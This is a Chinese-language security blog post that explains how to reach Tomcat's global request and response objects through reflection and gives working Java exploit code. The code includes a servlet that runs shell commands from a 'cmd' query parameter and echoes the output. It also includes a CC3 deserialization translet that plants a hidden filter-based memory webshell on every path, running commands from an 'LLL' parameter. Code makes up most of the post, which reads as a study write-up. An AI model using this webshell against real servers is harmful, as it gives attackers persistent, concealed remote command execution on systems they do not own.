前言

上次讲到了使用反序列化注入的一种回显方法-ThreadLocal回显,这次我们来学习一下另一种-全局Response回显。

全局Response

分析

之前在学习servlet内存马的时候,我们对请求的获取分析是从Http11Processor开始的,这次我们起一个简单的服务回看整个调用栈,找到Http11Processor这个类,我们会看到
image-20260331205532137
出现了request和response,我们可以看到这两个属性是来自它的父类AbstractProcessor
那我们要想怎么获取到AbstractProcessor这个类,回看调用栈可以看到
image-20260331205523162
AbstractProcessor这个类是继承于AbstractProcessorLight,而AbstractProcessorLight又出在了调用栈中,但是调用栈是没有AbstractProcessor这个类的引用的,我们只能使用Http11Processor来获取request和response。所以问题还是抛给到了对Http11Processor的获取。
这就来到了ConnectionHandler
image-20260331205512219
这里就注册了Http11Processor这个类,可以跟进去看一下具体的逻辑。
image-20260331205502763
在这里面将request的信息封装进了RequestInfo,然后存进了global属性中
image-20260331205453732
所以这里我们如果获取到global属性,也就能够获得request,这时思路又发生了改变,那么我们需要获取到ConnectionHandler这个类,ConnectionHandler这个类算是AbstractProtocol的副类,看到
image-20260331205443163
这里有set方法将这个handler进行了一个储存,那肯定有一个对应的get方法可以把这个ConnectionHandler给去出来。(这里可以通过反射调用getHandler来实现)。
没有sethandler方法的是tomcat的版本过低导致的。
那么如何获取AbstractProtocol?这里是通过一个子类获取父类的方法实现的,我们来看这个比较重要的子类-Http11NioProtocol
那么Http11NioProtocol是怎么获得的,我们每发送一次请求都会通过Connector获取到Http11NioProtocol,(前提是Http/1.1的请求协议)那么如何获取到Connector?
image-20260331205429072
可以看一下这个图Connector不用多说,肯定在一个service中,这里来看一下standardservice
image-20260331205413410
可以看到addConnector方法把connector全部存进了connector,所以我们还是需要做一个遍历把我们需要的http请求协议内置的connector,拿出来,这样就可以获取到Http11NioProtocol类,然后就可以正常继续向下进行了。
那么就来到了最后一个问题,怎么获得standardservice?
在tomcat中为了解决类名相同情况下的类加载问题,一般内置了ClassLoader,来隔离web容器的类加载工作-WebappClassLoader,这里有一个作用WebappClassLoader的类,是Thread,而且这个类在整个过程中我们肯定是能用的,并且这个类有getContextClassLoader这个方法,所以我们就可以通过Thread.currentThread().getContextClassLoader()方法来获取到WebappClassLoaderWebappClassLoader又继承WebappClassLoaderBase,其主要的逻辑还是要靠它的父类。
image-20260331205355463
这里我们找到了getResources,它获取到的就是StandardRoot,从StandardRoot,我们可以通过standardRoot.getContext来获取StandardContext,standardService是在ApplicationContext中的,所以我们用StandardContext获取到ApplicationContext在获取到standardservice就完成了。

总结

当一个web容器在运行中,可以通过Thread.currentThread().getContextClassLoader()来获取到WebappClassLoader,从WebappClassLoader获取StandardContext,在到ApplicationContext,在到standardservice,然后在从service里遍历connector,找到属于http协议的connector,这样我们也就得到了Http11NioProtocol,作为子类,我们可以获取到它的父类-AbstractProtocol然后可以通过getHandler方法得到ConnectionHandler,拿到global属性,这样也就获得了request和response

Exp

全局Response回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
package com.test.ncm4;  

import org.apache.catalina.Context;
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoader;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Processor;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import org.springframework.core.io.Resource;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;

@WebServlet(urlPatterns = "/test1")
public class test1 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
//先获取StandardService
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Class<? extends WebappClassLoaderBase> aClass = WebappClassLoaderBase.class;
Field declaredField = aClass.getDeclaredField("resources");
declaredField.setAccessible(true);
WebResourceRoot r = (WebResourceRoot) declaredField.get(contextClassLoader);
Context context = r.getContext();
Field declaredField1 = StandardContext.class.getDeclaredField("context");
declaredField1.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) declaredField1.get(context);
Field declaredField2 = applicationContext.getClass().getDeclaredField("service");
declaredField2.setAccessible(true);
StandardService standardService = (StandardService) declaredField2.get(applicationContext);
//在获取connectors
Class<? extends StandardService> aClass1 = standardService.getClass();
Field declaredField3 = aClass1.getDeclaredField("connectors");
declaredField3.setAccessible(true);
Connector[] connectors = (Connector[]) declaredField3.get(standardService);
//遍历获取connect
for (Connector connector : connectors) {
if (connector.getScheme().contains("http")) {
//这里可以直接获取到AbstractProtocol
AbstractProtocol protocolHandler = (AbstractProtocol) connector.getProtocolHandler();
//然后获取ConnectionHandler
Class<? extends AbstractProtocol> aClass2 = AbstractProtocol.class;
Method getHandler = aClass2.getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
//这里的connectionhandler一定要是AbstractEndpoint.Handler接口类型
AbstractEndpoint.Handler connectionhandler = (AbstractEndpoint.Handler)getHandler.invoke(protocolHandler);
//获取global属性
Class<? extends AbstractEndpoint.Handler> aClass3 = connectionhandler.getClass();
Field declaredField4 = aClass3.getDeclaredField("global");
declaredField4.setAccessible(true);
//RequestGroupInfo是RequestInfo一个集合
RequestGroupInfo global = (RequestGroupInfo) declaredField4.get(connectionhandler);
//global是用来缓存processor的
Class<? extends RequestGroupInfo> aClass4 = global.getClass();
Field declaredField5 = aClass4.getDeclaredField("processors");
declaredField5.setAccessible(true);
ArrayList processors = (ArrayList) declaredField5.get(global);

for (Object processor : processors) {
RequestInfo processor1 = (RequestInfo) processor;
//识别攻击者的请求
if(processor1.getCurrentQueryString().contains("cmd")){
Field declaredField6 = processor1.getClass().getDeclaredField("req");
declaredField6.setAccessible(true);
org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request) declaredField6.get(processor1);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) coyoteReq.getNote(1);
Response response = request.getResponse();

InputStream inputStream = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len;
byte[] buffer = new byte[1024];

while ((len = inputStream.read(buffer)) != -1) {
response.getOutputStream().write(buffer, 0, len);
}

}

}


}

}



}catch (Exception e){
e.printStackTrace();
}
}

}

这是全局Response回显,并没有配合反序列化注入。
注意点:在调用getProtocolHandler()getContextClassLoader()的时候返回的都是,你用来接的类的子类,不能直接用来getClass。(我基础有点差,到这里的时候卡住了,还好有ai的帮助)
image.png|680
到这里可以进行RCE了

利用反序列化注入内存马

反序列化链还是cc3
exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
package com.test.ncm4;  

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.*;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Map;

public class test extends AbstractTranslet implements Filter {
public test(){
try {//先获取Standardcontext
WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Class<WebappClassLoaderBase> webappClassLoaderBaseClass = WebappClassLoaderBase.class;
Field declaredField = webappClassLoaderBaseClass.getDeclaredField("resources");
declaredField.setAccessible(true);
WebResourceRoot webResourceRoot = (WebResourceRoot) declaredField.get(contextClassLoader);
StandardContext context = (StandardContext) webResourceRoot.getContext();
//再获取到ApplicationContext
Field declaredField1 = StandardContext.class.getDeclaredField("context");
declaredField1.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) declaredField1.get(context);
//StandService
Class<ApplicationContext> applicationContextClass = ApplicationContext.class;
Field declaredField2 = applicationContextClass.getDeclaredField("service");
declaredField2.setAccessible(true);
StandardService standardService = (StandardService) declaredField2.get(applicationContext);
//获取到connectors
Field declaredField3 = StandardService.class.getDeclaredField("connectors");
declaredField3.setAccessible(true);
Connector[] connectors = (Connector[]) declaredField3.get(standardService);

//循环判断出有http的connector
for(Connector connector : connectors) {
if (connector.getScheme().contains("http")) {
//拿AbstractProtocol
AbstractProtocol protocolHandler = (AbstractProtocol) connector.getProtocolHandler();
Class<AbstractProtocol> abstractProtocolClass = AbstractProtocol.class;
Method getHandler = abstractProtocolClass.getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
AbstractEndpoint.Handler invoke = (AbstractEndpoint.Handler) getHandler.invoke(protocolHandler);
//获取global
Class<? extends AbstractEndpoint.Handler> aClass = invoke.getClass();
Field declaredField4 = aClass.getDeclaredField("global");
declaredField4.setAccessible(true);
RequestGroupInfo requestGroupInfo = (RequestGroupInfo) declaredField4.get(invoke);
//获取processors
Class<RequestGroupInfo> requestGroupInfoClass = RequestGroupInfo.class;
Field declaredField5 = requestGroupInfoClass.getDeclaredField("processors");
declaredField5.setAccessible(true);
ArrayList arrayList = (ArrayList) declaredField5.get(requestGroupInfo);
//获取我们需要的请求
for(Object object : arrayList) {
RequestInfo requestInfo = (RequestInfo) object;
if(requestInfo.getCurrentQueryString().contains("LLL")){
Class<? extends RequestInfo> aClass1 = requestInfo.getClass();
Field declaredField6 = aClass1.getDeclaredField("req");
declaredField6.setAccessible(true);
Request request1 = (Request) declaredField6.get(requestInfo);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) request1.getNote(1);

//利用当前的请求获取StandContext(这里和上述的是不同的)
StandardContext context1 = (StandardContext) request.getContext();


Field declaredField7 = StandardContext.class.getDeclaredField("filterConfigs");
declaredField7.setAccessible(true);
Map map = (Map) declaredField7.get(context);

//设置filterDef
Class<?> aClass2 = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor<?> declaredConstructor = aClass2.getDeclaredConstructor();
FilterDef filterDef = (FilterDef) declaredConstructor.newInstance();
filterDef.setFilter(this);
filterDef.setFilterName("filter1");
filterDef.setFilterClass(this.getClass().getName());
context1.addFilterDef(filterDef);
//设置filtermap
Class<?> aClass3 = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor1 = aClass3.getDeclaredConstructor();
declaredConstructor1.setAccessible(true);
FilterMap filterMap = (FilterMap) declaredConstructor1.newInstance();
filterMap.addURLPattern("/*");
filterMap.setFilterName("filter1");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
context1.addFilterMapBefore(filterMap);
//反射获取ApplicationFilterConfig,构造方法将FilterDef传入后.-,获取filterConfigs后,将设置好的filterConfig添加进去
Class<?> aClass4 = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor2 = aClass4.getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor2.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor2.newInstance(context1, filterDef);
map.put("filter1",applicationFilterConfig);
}

}





}
}


}catch (Exception e){
e.printStackTrace();
}


}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
try {

if(request.getParameter("LLL")!=null){
InputStream inputStream = Runtime.getRuntime().exec(request.getParameter("LLL")).getInputStream();
int len;
byte[] buffer = new byte[1024];
while ((len = inputStream.read(buffer)) != -1) {
response.getOutputStream().write(buffer, 0, len);
}

//直接return,否则会报错
response.getOutputStream().flush();
response.getOutputStream().close();
return;
}

}catch (Exception e){
e.printStackTrace();
}


}
}

image.png

参考

Tomcat型内存马回显以及反序列化写入 | stoocea’s blog
Tomcat内存马回显 - F12~ - 博客园